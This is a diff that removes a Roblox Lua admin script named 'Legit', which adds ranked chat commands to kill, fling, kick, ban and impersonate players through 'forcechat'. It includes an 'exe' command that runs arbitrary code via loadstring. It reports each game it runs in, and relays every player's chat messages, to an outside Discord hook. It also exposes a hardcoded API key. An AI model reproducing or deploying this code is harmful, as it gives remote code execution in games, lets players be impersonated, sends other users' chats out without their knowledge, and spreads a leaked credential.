- banList[userId] = nil;
- banStore:SetAsync(banKey, banList);
- SDM("Legit","Unbanned "..data.Name,nil)
- return;
- end
- end
- end
- elseif string.sub(Message,1,4) == "god;" then
- if ircwhitelist[Tag].Level == 1 or ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
- local msg=string.sub(Message,5)
- local Players=GetPlayer(msg,true)
- for i,Player in pairs(Players) do
- Player.Character.Humanoid.MaxHealth=math.huge
- Player.Character.Humanoid.Health=math.huge
- end
- end
- elseif string.sub(Message,1,5) == "kick;" then
- if ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
- local msg = string.sub(Message,6)
- local Players = GetPlayer(msg,true)
- local Reason = string.find(msg,";")
- Reason = string.sub(msg,Reason + 1)
- for i,Player in pairs(Players) do
- Player:Kick(Reason)
- SDM("Legit","Kicked "..Player.Name.." for "..Reason,nil)
- end
- end
- -- do what you want here coolmlg.
- -- Message is their message
- -- Author is a table with a tone of information about who did the message
- -- Username is the username of the person who made the message.
- end
- end
- end
- end)
- end)
- game:GetService("Players").PlayerAdded:connect(function(Plr)
- if Banned[Plr.Name] then
- Plr:Kick(Banned[Plr.Name].Reason)
- end
- end)
- discordchat=function(plr,text,avatar)
- _M.SendDiscordMessage(plr,text,avatar)
- end
- TruthTeller=function(text)
- _M.GeneralMessage("A Truth teller",text,nil)
- end
- MLGBot=function(text)
- _M.GeneralMessage("A MLG Bot",text,nil)
- end
- function cbb(cb,cm)
- OxChat(cb,cm)
- if ChatService:GetSpeaker(cb) == nil then
- local chb=ChatService:AddSpeaker(cb)
- chb:JoinChannel("All")
- chb:SayMessage(cm, "All", {})
- if getrank(cb) then
- SDM(cb.." [Rank: "..getrank(cb).."]",cm,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(cb).."&width=180&height=180")
- else
- SDM(cb,cm,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(cb).."&width=180&height=180")
- end
- else
- local chb=ChatService:GetSpeaker(cb)
- chb:SayMessage(cm, "All", {})
- if getrank(cb) then
- discordchat(cb.." [Rank: "..getrank(cb).."]",cm,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(cb).."&width=180&height=180")
- else
- discordchat(cb,cm,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(cb).."&width=180&height=180")
- end
- end
- end
- addcmd('cb','creates a chat bot',1337,2,function(speaker,args)
- local cb=args[1]
- local cm=args[2]
- OxChat(cb,cm)
- if ChatService:GetSpeaker(cb) == nil then
- local chb=ChatService:AddSpeaker(cb)
- chb:JoinChannel("All")
- chb:SayMessage(cm, "All", {})
- if getrank(cb) then
- discordchat(cb.." [Rank: "..getrank(cb).."]",cm,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(cb).."&width=180&height=180")
- else
- discordchat(cb,cm,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(cb).."&width=180&height=180")
- end
- else
- local chb=ChatService:GetSpeaker(cb)
- chb:SayMessage(cm, "All", {})
- if getrank(cb) then
- discordchat(cb.." [Rank: "..getrank(cb).."]",cm,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(cb).."&width=180&height=180")
- else
- discordchat(cb,cm,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(cb).."&width=180&height=180")
- end
- end
- end)
- addcmd('chat','makes legit say something',6,1,function(speaker,args)
- local cb=args[1]
- OxChat("Legit",cb)
- if ChatService:GetSpeaker("Legit") == nil then
- local chb=ChatService:AddSpeaker("Legit")
- chb:JoinChannel("All")
- chb:SayMessage(cb, "All", {})
- else
- local chb=ChatService:GetSpeaker("Legit")
- chb:SayMessage(cb, "All", {})
- end
- end)
- addcmd('changetextcolor','change textcolor of a player',1337,2,function(speaker,args)
- local name=args[1]
- local color=args[2]
- if ChatService:GetSpeaker(name) ~= nil then
- ChatService:GetSpeaker(name):SetExtraData("ChatColor", BrickColor.new(color).Color)
- else
- ChatService:AddSpeaker(name)
- ChatService:GetSpeaker(name):SetExtraData("ChatColor", BrickColor.new(color).Color)
- end
- end,{'ctc'})
- addcmd('changenamecolor','change namecolor of a player',1337,2,function(speaker,args)
- local name=args[1]
- local color=args[2]
- if ChatService:GetSpeaker(name) ~= nil then
- ChatService:GetSpeaker(name):SetExtraData("NameColor", BrickColor.new(color).Color)
- else
- ChatService:AddSpeaker(name)
- ChatService:GetSpeaker(name):SetExtraData("NameColor", BrickColor.new(color).Color)
- end
- end,{'cnc'})
- addcmd('changefont','change font of a player',1337,2,function(speaker,args)
- local name=args[1]
- local font=args[2]
- if ChatService:GetSpeaker(name) ~= nil then
- ChatService:GetSpeaker(name):SetExtraData("Font", font)
- else
- ChatService:AddSpeaker(name)
- ChatService:GetSpeaker(name):SetExtraData("Font", font)
- end
- end,{'cf'})
- addcmd('changetextcolorself','change textcolor of yourself',1337,1,function(speaker,args)
- local color=args[1]
- local name = speaker.Name
- if ChatService:GetSpeaker(name) ~= nil then
- ChatService:GetSpeaker(name):SetExtraData("ChatColor", BrickColor.new(color).Color)
- else
- ChatService:AddSpeaker(name)
- ChatService:GetSpeaker(name):SetExtraData("ChatColor", BrickColor.new(color).Color)
- end
- end,{'ctcself'})
- addcmd('changenamecolorself','change namecolor of yourself',1337,1,function(speaker,args)
- local color=args[1]
- local name = speaker.Name
- if ChatService:GetSpeaker(name) ~= nil then
- ChatService:GetSpeaker(name):SetExtraData("NameColor", BrickColor.new(color).Color)
- else
- ChatService:AddSpeaker(name)
- ChatService:GetSpeaker(name):SetExtraData("NameColor", BrickColor.new(color).Color)
- end
- end,{'cncself'})
- addcmd('changefontself','change font of yourself',1337,1,function(speaker,args)
- local color=args[1]
- local name = speaker.Name
- if ChatService:GetSpeaker(name) ~= nil then
- ChatService:GetSpeaker(name):SetExtraData("Font", color)
- else
- ChatService:AddSpeaker(name)
- ChatService:GetSpeaker(name):SetExtraData("Font", color)
- end
- end,{'cfself'})
- addcmd('newserver','creates new game server at id',5,1,
- function(speaker,args)
- if args[1]~=nil then
- local x=nil
- if inTable({'place','here','this','game'},tostring(args[1]))then x=game.PlaceId end
- if x==nil then
- x=tonumber(args[1])
- end
- if x then
- alert.c('created new server','Lime green',speaker)
- newserver(x)
- end
- else
- alert.c('created new server','Lime green',speaker)
- newserver(game.PlaceId)
- end
- end,
- {'ns','createserver'})
- addcmd('afk','go afk',0,0,
- function(speaker,args)
- dmp(speaker)
- for i=1,5 do
- _tab(speaker.Name..' is afk [Cuz they Are Afk Probs Making Scripts]','Maroon',speaker,function()dmp(speaker)end)
- end
- end,
- {})
- addcmd('db','change db_view',5,1,
- function(speaker,args)
- if args[1]~=nil then
- if inTable({'true','grid'},args[1]:lower())then
- t.db_view='GRID'
- else
- t.db_view='PLR'
- end
- end
- return
- end)
- addcmd('rank','changes a players rank',9e9,3,
- function(speaker,args)
- local plr
- local rank
- local reason
- if args[1]then plr=_plr(args[1])end
- if args[2]then rank=tonumber(args[2])end
- if args[3]then reason=args[3]else reason='None'end
- if plr and rank then
- ds.set(plr.Name,'rank',rank)
- ds.set(plr.Name,'reason',reason)
- alert.c('you are now rank '..rank,ps.color(plr.Name),plr)
- alert.c('you set '..plr.Name..'\'s rank to '..rank,ps.color(speaker.Name),speaker)
- end
- end)
- addcmd('ranked','shows all ranked players',0,0,function(speaker,args)
- dmp(speaker)
- _dmtab(speaker)
- for i,v in pairs(users)do
- --print(list(v))
- local s=v[1]
- if v[2]==-1 then v[5]='Really black's=s..' (Banned)'end
- if type(v[1])==type('hi')then
- _tab(v[1],v[5],speaker,
- function()
- dmp(speaker)
- _dmtab(speaker)
- plrmen(v[1],speaker,'ranked')
- end)
- end
- end
- end)
- addcmd('banned','shows all banned players',0,0,function(speaker,args)
- dmp(speaker)
- _dmtab(speaker)
- for userId, data in pairs(banList) do
- local name, bannedBy, reason, timestamp, duration = data.Name, data.BannedBy, data.Reason, data.Timestamp, data.Duration;
- local timeLeftInDays = duration-math.floor((os.time()-timestamp)/86400);
- if (timeLeftInDays > 0) then
- alert.c(name.." - Banned by: "..bannedBy.." - Days left: "..timeLeftInDays.." - Reason: "..reason,ps.color(speaker),speaker);
- else
- banList[userId] = nil;
- end
- end
- end)
- addcmd('beemovie','yas',1337,0,
- function(speaker,args)
- _tab(game.HttpService:GetAsync("https://hastebin.com/raw/uyifatadin"),'Cyan',speaker)
- end)
- addcmd('serverlock','opens private server options;Ranked players stay',5,0,
- function(speaker,args)
- local sss='off'
- local pc=c.red
- if pri then sss='on';pc='Lime green' end
- dmp(speaker)
- _tab('pri is '..sss,pc,speaker)
- _tab((pri and '[DISABLE]') or '[ENABLE]',pri and 'Really red' or 'Lime green',speaker,function()
- dmp(speaker)
- pri=not pri
- if pri then
- for i,v in pairs(plrs:GetPlayers'')do
- if getrank(v.Name)<1 then Kick(v)end
- end
- end
- alert.c('pri was '..(pri and 'enabled' or 'disabled'),c.white,speaker)
- end)
- end)
- addcmd('jump','makes player jump',3,1,function(speaker,args)
- local fplr=_match(args[1],speaker)
- for i,v in pairs(fplr)do
- safe.r(function()_plr(v).Character.Humanoid.Jump=true;end)
- end
- end)
- addcmd('rot','changes players rot style',1,1,function(speaker,args)
- local targ=speaker
- if args[1]~=nil then
- if _plr(targ)~=nil then targ=_plr(targ)end
- end
- rotmenu(targ,speaker)
- end)
- addcmd('legit','Player Menu',1,1,function(speaker,args)
- local targ=speaker
- if args[1]~=nil then
- if _plr(targ)~=nil then targ=_plr(targ)end
- end
- MLGmenu(targ,speaker)
- end)
- addcmd('sit','makes player sit',3,1,function(speaker,args)
- local fplr=_match(args[1],speaker)
- for i,v in pairs(fplr)do
- safe.r(function()_plr(v).Character.Humanoid.Sit=true;end)
- end
- end)
- addcmd('freeze','freeze\'s player',3,1,function(speaker,args)
- local fplr=_match(args[1],speaker)
- for i,v in pairs(fplr)do
- safe.r(function()_plr(v).Character.Torso.Anchored=true;end)
- end
- end)
- addcmd('thaw','thaw\'s player',3,1,function(speaker,args)
- local fplr=_match(args[1],speaker)
- for i,v in pairs(fplr)do
- safe.r(function()_plr(v).Character.Torso.Anchored=false;end)
- end
- end)
- addcmd('define','define a word',0,1,function(speaker,args)
- dmp(speaker)
- local Message = tostring(args[1])
- local http = game:GetService('HttpService')
- local req = http:GetAsync("http://api.wordnik.com/v4/word.json/"..Message.."/definitions?limit=3&includeRelated=true&sourceDictionaries=all&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5", true)
- req = http:JSONDecode(req)
- local def = {}
- for i in string.gmatch(req[1].text, "%w+%p*") do
- table.insert(def, i)
- end
- local defs = ""
- for _, v in pairs(def) do
- defs = defs..v.." "
- if _ % 10 == 0 then
- defs = defs.."\n"
- end
- end
- _tab(defs,'Bright yellow',speaker,function()dmp(speaker)end)
- end,{'def'})
- addcmd('antikill','gives plr anti kill',3,1,function(speaker,args)
- local fplr=_match(args[1],speaker)
- for i,v in pairs(fplr)do
- safe.r(function()AntiKill(_plr(v)) end)
- end
- end)
- addcmd('char','char someone',2,2,function(speaker,args)
- local fplr=_match(args[1],speaker)
- for i,v in pairs(fplr) do
- if tonumber(args[2]) then
- v.CharacterAppearanceId=tonumber(args[2])
- elseif tostring(args[2]) then
- v.CharacterAppearanceId=game:service'Players':GetUserIdFromNameAsync(args[2])
- end
- v:LoadCharacter()
- end
- end)
- addcmd('forcechat','forcechat someone',1337,2,function(speaker,args)
- local fplr=_match(args[1],speaker)
- local msg = tostring(args[2])
- for i,v in pairs(fplr) do
- ForceChat(v,msg)
- end
- end,
- {'fc','fchat','forcec'})
- addcmd('respawn','Respawn someone',2,1,function(speaker,args)
- local fplr=_match(args[1],speaker)
- for i,v in pairs(fplr) do
- v:LoadCharacter()
- end
- end)
- addcmd('unchar','unchar someone',2,1,function(speaker,args)
- local fplr=_match(args[1],speaker)
- for i,v in pairs(fplr) do
- v.CharacterAppearanceId=v.UserId
- v:LoadCharacter()
- end
- end)
- addcmd('fling','next plane to china',4,1,function(speaker,args)
- local fplr=_match(args[1],speaker)
- for i,v in pairs(fplr)do
- safe.r(function()_plr(v).Character.Humanoid.Sit=true;_plr(v).Character.Torso.Velocity=v3(4000,4000,4000)end)
- end
- end)
- addcmd('god','makes player godly',3,1,function(speaker,args)
- local fplr=_match(args[1],speaker)
- for i,v in pairs(fplr)do
- safe.r(function()_plr(v).Character.Humanoid.MaxHealth=math.huge;end)
- end
- end)
- addcmd('kill','kills player',3,1,function(speaker,args)
- local fplr=_match(args[1],speaker)
- for i,v in pairs(fplr)do
- safe.r(function()_plr(v).Character:breakJoints();end)
- end
- end)
- addcmd('mute','mutes a player',3,1,function(speaker,args)
- fplr=_match(args[1],speaker)
- Mute(fplr)
- end)
- addcmd('unmute','unmutes a player',3,1,function(speaker,args)
- fplr=_match(args[1],speaker)
- UnMute(fplr)
- end)
- addcmd('kick','makes player gone',4,1,function(speaker,args)
- local fplr=_match(args[1],speaker)
- local freason=tostring(args[2])
- for i,v in pairs(fplr)do
- safe.r(function()v:Kick(freason);end)
- end
- end)
- addcmd('ban','bans a player for a reason and a duration of time',9e9,3,function(speaker,args)
- local fplr=_match(args[1])if not fplr then return end
- local reason = tostring(args[2])
- local duration = tonumber(args[3])
- for _,plyr in pairs(fplr) do
- banList[tostring(plyr.UserId)] = {Name=plyr.Name, BannedBy=speaker.Name, Reason=reason, Timestamp=os.time(), Duration=duration}
- banStore:SetAsync(banKey, banList);
- plyr:Kick(reason)
- end
- end)
- addcmd('remoteban','remotebans a player for a reason and a duration of time',9e9,3,function(speaker,args)
- local toBan = tostring(args[1])
- local reason = tostring(args[2])
- local duration = tonumber(args[3])
- local success, userId = pcall(function() return game:service'Players':GetUserIdFromNameAsync(toBan); end);
- if (not success) then
- return alert.c("Error player not found","Really red",speaker);
- end
- banList[tostring(userId)] = {Name=toBan, BannedBy=speaker.Name, Reason=reason, Timestamp=os.time(), Duration=duration}
- banStore:SetAsync(banKey, banList);
- alert.c("Remote Banned " .. toBan,ps.color(speaker),speaker);
- end)
- addcmd('unban','unbans a player',9e9,1,function(speaker,args)
- local plr = tostring(args[1])
- for userId, data in pairs(banList) do
- if (string.find(string.lower(data.Name),string.lower(plr),1,true) == 1) then
- banList[userId] = nil;
- banStore:SetAsync(banKey, banList);
- alert.c("Unbanned "..data.Name,ps.color(speaker),speaker)
- return;
- end
- end
- end)
- addcmd('cprefix','change prefix',1337,1,function(speaker,args)
- local newprefix = tostring(args[1])
- if args[1] ~= nil then
- prefix = newprefix
- OxChat("Legit Prefix Changed to",newprefix)
- SendChat.MessageAll("[Legit]: Prefix Changed to: "..newprefix, BrickColor.new("Teal").Color, "Size24", "SourceSansBold")
- end
- end)
- addcmd('csuffix','change suffix',1337,1,function(speaker,args)
- local newsuffix = tostring(args[1])
- if args[1] ~= nil then
- suffix = newsuffix
- OxChat("Legit Prefix Changed to",newsuffix)
- SendChat.MessageAll("[Legit]: suffix Changed to: "..newsuffix, BrickColor.new("Teal").Color, "Size24", "SourceSansBold")
- end
- end)
- addcmd('menu','opens menu',4,1,function(speaker,args)
- dmp(speaker)
- local pc=ps.color(speaker)
- _tab('music','Lime green',speaker,function()
- chat('music',speaker)
- end)
- _tab('players','Bright blue',speaker,function()
- chat('net',speaker)
- end)
- _tab('logs','Bright yellow',speaker,function()
- chat('logs',speaker)
- end)
- _tab('settings',ps.color(speaker),speaker,function()
- dmp(speaker)
- _tab('rotation',pc,speaker,function()rotmenu(speaker,speaker)end)
- _tab('neon',pc,speaker,function()neonmenu(speaker,speaker)end)
- end)
- end)
- addcmd('set','sets plr attribute',3e9,3,
- function(speaker,args)
- --plr att val
- if args[1]~=nil and args[2]~=nil and args[3]~=nil then
- local plr=_plr(args[1])
- if not plr then plr=args[1] else plr=plr.Name end
- local ind=tostring(args[2]):lower()
- local val=args[3]
- if plr and ind and inTable(ds.props,ind)then
- ds.set(plr,ind,val)
- alert.c('set '..plr..'\'s '..ind..' to '..tostring(val),'White',speaker,4)
- end
- end
- end,
- {'setr'})
- addcmd('rejoin','rejoin the server',0,1,
- function(speaker,args)
- local placeid = game.PlaceId
- local plr = speaker
- rejoin(plr)
- end)
- addcmd('pbase','creates and teleports you to a private base',3,0,
- function(speaker,args)
- PBase()
- TPBase(speaker)
- end)
- addcmd('tpbase','teleports player to a private base',3,1,
- function(speaker,args)
- local plr = _match(args[1],speaker)
- for _,v in pairs(plr)do
- TPBase(v)
- end
- end)
- addcmd('lcmd','sets locked for a player',9e9,2,
- function(speaker,args)
- if args[1]~=nil and args[2]~=nil then
- dmp(speaker)
- local cplr=_plr(args[1])
- if not cplr then return end
- if iscmd(args[2])~=nil then
- local c=iscmd(args[2])
- if ps.islocked(c.NAME,cplr)then
- _tab(c.NAME..' is LOCKED','Really red',speaker)
- _tab('Click to unlock','Lime green',speaker,function()
- for i,v in pairs(users)do
- if v[1]==cplr.Name then
- for o,b in pairs(v[7])do
- if b:lower()==c.NAME:lower()then table.remove(v[7],o) end
- end
- end
- end
- dmp(speaker)
- alert.c(c.NAME..' was unlocked for '..cplr.Name,'White',speaker,4)
- end)
- else
- _tab(c.NAME..' is UNLOCKED','Lime green',speaker)
- _tab('Click to lock','Really red',speaker,function()
- safe.r(function()
- table.insert(ds.prof(cplr.Name)[7],c.NAME)
- end)
- dmp(speaker)
- alert.c(c.NAME..' was locked for '..cplr.Name,'White',speaker,4)
- end)
- end
- elseif args[2]:lower()=='-list'then
- for i,v in pairs(ds.prof(cplr.Name)[7])do
- _tab(v,'Really red',speaker,function()
- chat("lcmd'"..cplr.Name.."'"..v,speaker)
- end)
- end
- elseif args[2]:lower()=='-clear'then
- ds.prof(cplr.Name)[7]={}
- end
- end
- end,
- {'lockcmd','cmdlock','commandlock'})
- addcmd('exe','executes a script',9e9,1,
- function(speaker,args,orig)
- orig=orig:sub(5)
- local x=nil
- local success,error=ypcall(function()x={loadstring(orig)}end)
- local func,err=unpack(x);
- if success then
- alert.c('Script ran successfully','Lime green',speaker)alert.c(error,'White',speaker)
- else
- alert.c(error,c.red,speaker)
- end
- end)
- addcmd('songrequest','request a song',0,1,
- function(speaker,args)
- dmp(speaker)
- if args[1]~=nil then
- local idz=args[1]
- if not tonumber(idz)then alert.c('Please request a song ID!','Really red',speaker)return end
- if assettype(tonumber(idz))~=3 then alert.c('Please request a song ID!','Really red',speaker)return end
- local izz=game:GetService("MarketplaceService"):GetProductInfo(tonumber(idz))
- _tab("Request \""..izz.Name..'"?','New Yeller',speaker)
- _tab('Yes','Lime green',speaker,function()if inTable(songrequests, tonumber(idz))then dmp(speaker)alert.c('Song is already in request list!','Really red',speaker)else dmp(speaker)table.insert(songrequests,idz)alert.c('Song requested.','Lime green',speaker)end end)
- _tab('Cancel','Really red',speaker,function()dmp(speaker)end)
- end
- end,{'requestsong','request'})
- addcmd('requests','view song requests',3,0,
- function(speaker,args)
- dmp(speaker)
- for i,v in pairs(songrequests)do
- local izz=game:GetService("MarketplaceService"):GetProductInfo(tonumber(v))
- _tab(izz.Name,'Lime green',speaker,
- function()
- dmp(speaker)
- songmenu(tonumber(v),speaker)
- _tab('Reject','Maroon',speaker,
- function()
- songrequests[i]=nil
- chat('requests',speaker)
- end)
- end)
- end
- end)
- addcmd('placemenu','Controls the whole place',5,0,function(speaker,args)
- placemenu(speaker)
- end)
- explore = function(player, obj)
- dmp (player);
- if (not obj) then
- _tab('CoolMLGPlayer is amazing','Hot pink',player)
- for i, v in next, {'Workspace'; 'Players'; 'Lighting'; 'ReplicatedStorage'; 'ServerScriptService';} do
- _tab(v, (tostring(BrickColor.random())), player, function()
- explore(player, game:service(v));
- end);
- end;
- return;
- end;
- _tab('Destroy', 'Really red', player, function()
- local objParent = obj.Parent;
- if (pcall(game.Destroy, obj)) then
- explore(player, objParent);
- else
- _tab('Failed to destroy object', 'Lime green', player);
- end;
- end);
- _tab('Redirect to parent', 'Teal', player,function()
- if (obj.Parent ~= nil) then
- explore(player, obj.Parent);
- end;
- end);
- _tab('Redirect to children', 'Lime green', player, function()
- dmp(player);
- for i, v in next, obj:getChildren() do
- _tab(v.Name, 'Lime green', player, function()
- explore(player, v);
- end);
- end;
- end);
- -- end of functions tablets
- _tab('Name: ' .. obj.Name, ps.color(player), player);
- _tab('FullName: ' .. obj:getFullName(), ps.color(player), player);
- _tab('Parent: ' .. tostring(obj.Parent), ps.color(player), player);
- _tab('ClassName: ' .. obj.ClassName, ps.color(player), player);
- --You can add more information tablets here
- end;
- addcmd('explore', 'explores the game', 1337,0, function(spkr) explore(spkr); end);
- addcmd('logs','view logs',4,0,
- function(speaker)
- dmp(speaker)
- _tab('view system logs','New Yeller',speaker,function()
- dmp(speaker)
- _dmtab(speaker)
- table.foreach(logs.LOG,function(k,v)
- t.t(v,'White',speaker)
- end)
- end)
- _tab('view chat logs','Bright blue',speaker,function()
- dmp(speaker)
- _dmtab(speaker)
- table.foreach(logs.CLOG,function(k,v)
- t.t(v,'White',speaker)
- end)
- end)
- _tab('clear system logs','White',speaker,function(tablet)
- rem(tablet)
- t.t('system logs cleared','White',speaker)
- end)
- _tab('clear chat logs','White',speaker,function(tablet)
- rem(tablet)
- t.t('chat logs cleared','White',speaker)
- end)
- end)
- --DiscordHook1()
- discordchat('Legit','Ran on game: '..GetNameFromId(game.PlaceId),"https://cdn.discordapp.com/attachments/306147237967167488/306817871789424640/backgrounder.png")
- game.Players.Changed:connect(function(Property)
- if Property == "NumPlayers" then
- if Property == 0 then
- discordchat('Legit','Game closed '..GetNameFromId(game.PlaceId),"https://cdn.discordapp.com/attachments/306147237967167488/306817871789424640/backgrounder.png")
- end
- end
- end)
- for _,plr in pairs(game:GetService("Players"):GetPlayers())do
- plr.Chatted:connect(function(msg)
- --if msg.IsFiltered then --[[or msg.isFiltered--]]
- if string.sub(msg,1,2) == "/e" or string.sub(msg,1,2) == "h/" or string.sub(msg,1,3) == "hl/" or string.sub(msg,1,8) == "https://" then
- if discordcensor then
- discordchat(plr.Name.." [Rank: "..getrank(plr).."]",string.rep("#",string.len(msg)),"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
- SLM(plr.Name.." [Rank: "..getrank(plr).."]",msg,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
- else
- discordchat(plr.Name.." [Rank: "..getrank(plr).."]",msg,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
- end
- else
- discordchat(plr.Name.." [Rank: "..getrank(plr).."]",msg,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
- end
- end)
- local banData = banList[tostring(plr.UserId)]
- if (banData) then
- local timeLeftInDays = banData.Duration-math.floor((os.time()-banData.Timestamp)/86400);
- if (timeLeftInDays <= 0) then
- banList[tostring(plr.UserId)] = nil;
- banStore:SetAsync(banKey, banList);
- else
- plr:Kick("Banned by: " .. banData.BannedBy .. " - Days left: " .. timeLeftInDays .. " - Reason: " .. banData.Reason);
- end
- end
- SendChat.MessageToPlayer(plr,"[Legit]: Welcome "..plr.Name,BrickColor.new("Teal").Color,"Size24","SourceSansBold")
- SendChat.MessageToPlayer(plr,"[Legit]: Join Our Discord: https://discord.gg/pA3enW8", BrickColor.new("Teal").Color, "Size24", "SourceSansBold")
- SendChat.MessageToPlayer(plr,"[Legit]: Legit has been ran in this server",BrickColor.new("Lime green").Color,"Size24","SourceSansBold")
- SendChat.MessageToPlayer(plr,"[Legit]: Your rank is "..getrank(plr),BrickColor.new("Lime green").Color,"Size24","SourceSansBold")
- SendChat.MessageToPlayer(plr,"[Legit]: Say "..prefix.."cmds"..suffix.." to see commands",BrickColor.new("Lime green").Color,"Size24","SourceSansBold")
- funcs.ConnectLogger(plr)
- end
- wait(3)
- cb("Legit Discord","Connected!")
- discordchat("Legit Hook","Connected!",nil)
- plrs.PlayerAdded:connect(function(plr)
- if not enabled or update then return end
- delay(0,function()repeat wait(1)until plr.Character
- if inTable(Muted,plr.Name) then
- Mute(plr)
- end
- local banData = banList[tostring(plr.UserId)]
- if (banData) then
- local timeLeftInDays = banData.Duration-math.floor((os.time()-banData.Timestamp)/86400);
- if (timeLeftInDays <= 0) then
- banList[tostring(plr.UserId)] = nil;
- banStore:SetAsync(banKey, banList);
- else
- plr:Kick("Banned by: " .. banData.BannedBy .. " - Days left: " .. timeLeftInDays .. " - Reason: " .. banData.Reason);
- end
- end
- plr.PlayerGui.DescendantAdded:connect(function(g)
- checkgui(plr,g)
- end)
- plr.Backpack.DescendantAdded:connect(function(t)
- checkbackpack(plr,t)
- end)
- funcs.Output("Note","Welcome "..plr.Name,plr)
- for _,otherplrs in pairs(game:service'Players':GetPlayers()) do
- if otherplrs.Name ~= plr.Name then
- funcs.Output("Note","[Legit] "..plr.Name.." has joined the server",otherplrs)
- end
- end
- local xx=0
- if datastores then
- xx=getrank(plr.Name)
- if xx==-1 or pri and getrank(plr.Name)==0 then
- Kick(plr)
- --alert.g((plr.Name..' tried to join the game'),3)
- return
- end
- end
- plr.Chatted:connect(function(msg)
- --if msg.IsFiltered then --if censors[msg] --[[or msg.isFiltered--]] then
- if string.sub(msg,1,2) == "/e" or string.sub(msg,1,2) == "h/" or string.sub(msg,1,3) == "hl/" or string.sub(msg,1,8) == "https://" then
- if discordcensor then
- discordchat(plr.Name.." [Rank: "..getrank(plr).."]",string.rep("#",string.len(msg)),"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
- SLM(plr.Name.." [Rank: "..getrank(plr).."]",msg,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
- else
- discordchat(plr.Name.." [Rank: "..getrank(plr).."]",msg,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
- end
- else
- discordchat(plr.Name.." [Rank: "..getrank(plr).."]",msg,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
- end
- end)
- delay(.5,function()
- alert.c('Legit v'..ver..' running',ps.color(plr),plr,4)
- alert.c('your rank: '..getrank(plr),ps.color(plr),plr,4)
- _tab('say '..prefix..'cmds'..suffix..' to get your commands',ps.color(plr),plr,function()dmp(plr)chat("cmds",plr)end,'',4)
- alert.g((plr.Name..' connected'),4)
- end)end)
- if getrank(plr) <=3 then
- SendChat.MessageAll("[Legit]: "..plr.Name.." has joined the server",BrickColor.new("Teal").Color,"Size24","SourceSansBold")
- discordchat('[Legit]',"**"..plr.Name..' has joined the server**',"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
- elseif getrank(plr) >=3 and plr.Name ~= "CoolMLGPlayer" then
- SendChat.MessageAll("[Legit]: An admin/developer: "..plr.Name.." has joined the server",BrickColor.new("Teal").Color,"Size24","SourceSansBold")
- discordchat('[Legit]','An admin/developer: **'..plr.Name..' has joined the server**',"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
- else
- SendChat.MessageAll("[Legit]: My creator: "..plr.Name.." has joined the server",BrickColor.new("Teal").Color,"Size24","SourceSansBold")
- discordchat('[Legit]','My creator: **'..plr.Name..' has joined the server**',"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
- end
- SendChat.MessageToPlayer(plr,"[Legit]: Welcome "..plr.Name,BrickColor.new("Teal").Color,"Size24","SourceSansBold")
- SendChat.MessageToPlayer(plr,"[Legit]: Legit is running in this server",BrickColor.new("Lime green").Color,"Size24","SourceSansBold")
- SendChat.MessageToPlayer(plr,"[Legit]: Join Our Discord: https://discord.gg/pA3enW8", BrickColor.new("Teal").Color, "Size24", "SourceSansBold")
- SendChat.MessageToPlayer(plr,"[Legit]: Say "..prefix.."cmds"..suffix.." to see commands",BrickColor.new("Lime green").Color,"Size24","SourceSansBold")
- SendChat.MessageToPlayer(plr,"[Legit]: Your rank is "..getrank(plr),BrickColor.new("Lime green").Color,"Size24","SourceSansBold")
- funcs.ConnectLogger(plr)
- updateevents()
- end)
- plrs.PlayerRemoving:connect(function(x)
- if enabled and not update then
- local xx=0;
- if datastores and x then
- xx=getrank(x.Name)
- end
- if xx==-1 then
- elseif pri and xx==0 then
- alert.g((x.Name..' attempted to join'),4)
- else
- alert.g((x.Name..' disconnected'),4)
- end
- for _,otherplrs in pairs(game:service'Players':GetPlayers()) do
- if otherplrs.Name ~= x.Name then
- funcs.Output("Note","[Legit] "..x.Name.." has left the server",otherplrs)
- end
- end
- if getrank(x) <=3 then
- SendChat.MessageAll("[Legit]: "..x.Name.." has left the server",BrickColor.new("Teal").Color,"Size24","SourceSansBold")
- discordchat('[Legit]',"**"..x.Name..' has left the server**',"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(x.Name).."&width=180&height=180")
- elseif getrank(x) >=3 and x.Name ~= "CoolMLGPlayer" then
- SendChat.MessageAll("[Legit]: An admin/developer: "..x.Name.." has left the server",BrickColor.new("Teal").Color,"Size24","SourceSansBold")
